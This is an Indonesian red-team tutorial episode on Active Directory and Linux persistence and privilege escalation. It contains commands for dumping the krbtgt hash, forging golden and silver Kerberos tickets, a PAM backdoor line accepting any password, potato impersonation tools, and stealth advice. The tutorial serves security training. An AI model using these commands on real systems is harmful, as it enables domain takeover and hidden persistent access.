Belajar Red Team Operator - Persistence & Privilege

#Pendahuluan

Setelah di episode 8 kita mempelajari cloud & hybrid attack chains — AWS/Azure/AAD attacks dan identity compromise — pada episode ini kita masuk ke persistence & privilege: bagaimana mempertahankan akses dan meningkatkan hak akses secara permanen.

Persistence adalah tentang bertahan — meskipun reboot, password change, atau account lockout. Privilege escalation adalah tentang meningkatkan dari akun biasa menjadi admin. Keduanya harus dilakukan dengan stealth tinggi dalam red team.

#Kerberos Persistence

#Golden Ticket

bash

# Extract krbtgt hash
impacket-secretsdump domain/admin:password@dc_ip -just-dc-ntlm
 
# Generate golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ptt
 
# Atau dengan impacket
ticketer.py -nthash krbtgt_hash -domain-sid S-1-5-21-... -domain domain.com Administrator
 
# Use ticket
export KRB5CCNAME=Administrator.ccache
psexec.py domain/administrator@dc_ip -k -no-pass

#Silver Ticket

bash

# Silver ticket untuk service spesifik
# (contoh: HTTP/web server)
ticketer.py -nthash webserver_hash -domain-sid S-1-5-21-... \
  -domain domain.com -spn HTTP/webserver.domain.com administrator
 
# Use untuk akses web service
export KRB5CCNAME=administrator.ccache
curl --negotiate -u : administrator@webserver.domain.com

#Diamond Ticket

text

Diamond Ticket
===============
- Modify PAC (Privilege Attribute Certificate) dalam TGT
- Lebih stealthy dari golden/silver ticket
- Butuh akses ke KRBTGT hash
- Bypass detection berbasis PAC validation

#Persistence Mechanisms

#Windows Persistence

Technique	Stealth	Resilience
Registry Run key	Low	Medium
Scheduled Task	Low	High
WMI event subscription	Medium	High
DLL hijacking	Medium	High
Service creation	Low	High
GPO modification	Low	Very High

powershell

# WMI event subscription (persistent)
Filter = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120 AND TargetInstance.SystemUpTime < 180"
Consumer = "CommandLineEventConsumer"
# Execute command setiap 60 detik

#Linux Persistence

Technique	Stealth	Resilience
SSH key	Low	High
Crontab	Low	Medium
Systemd service	Medium	High
PAM backdoor	High	High
Kernel module	High	Very High

bash

# PAM backdoor (stealthy)
# Tambahkan rule di /etc/pam.d/sshd
auth sufficient pam_permit.so
 
# atau custom PAM module
cat > /lib/security/pam_backdoor.c << 'EOF'
#include <stdio.h>
// Backdoor: accepts any password
EOF

#Privilege Escalation — Advanced

#Token Manipulation

powershell

# Token impersonation
whoami /priv  # Cek SeImpersonatePrivilege
 
# Potato attacks
PrintSpoofer.exe -c "cmd /c whoami"
GodPotato.exe -cmd "cmd /c whoami"

#Service Account Abuse

text

Service Account Abuse
========================
1. Unconstrained delegation
   → Capture TGT dari users yang login
 
2. Constrained delegation
   → S4U attack → impersonate users
 
3. RBCD (Resource-Based Constrained Delegation)
   → Write msDS-AllowedToActOnBehalfOfOtherIdentity
   → Create computer object → impersonate anyone

#ACL Abuse

text

ACL Abuse Paths
=================
1. GenericWrite → target object
   → Modify attributes (SPN, delegation)
 
2. AddMember → group
   → Add self ke DA group
 
3. WriteDACL → object
   → Grant full control
 
4. GenericAll → everything
   → Full control over object

Note

Persistence dan privilege escalation harus dilakukan dengan mempertimbangkan OPSEC. Gunakan technique yang tidak mengubah system state secara mencolok — hindari service creation yang visible atau crontab yang mudah ditemukan.

#Praktik: Persistence Lab

bash

# 1. Dapatkan DA access
# 2. Create golden ticket
# 3. Setup persistence (WMI event subscription)
# 4. Test: reboot target → apakah akses masih ada?
# 5. Jalankan BloodHound: apakah attack path masih visible?

#Penutup

Inti yang harus dibawa pulang:

Golden ticket: full domain access menggunakan KRBTGT hash.
Silver ticket: service-specific access.
Persistence mechanisms: WMI, DLL hijacking, systemd, PAM.
Advanced priv esc: token manipulation, service account abuse, ACL abuse.

Di episode 10 selanjutnya, kita akan mempelajari evasion & OPSEC — noise reduction, OPSEC discipline, dan staying under detection.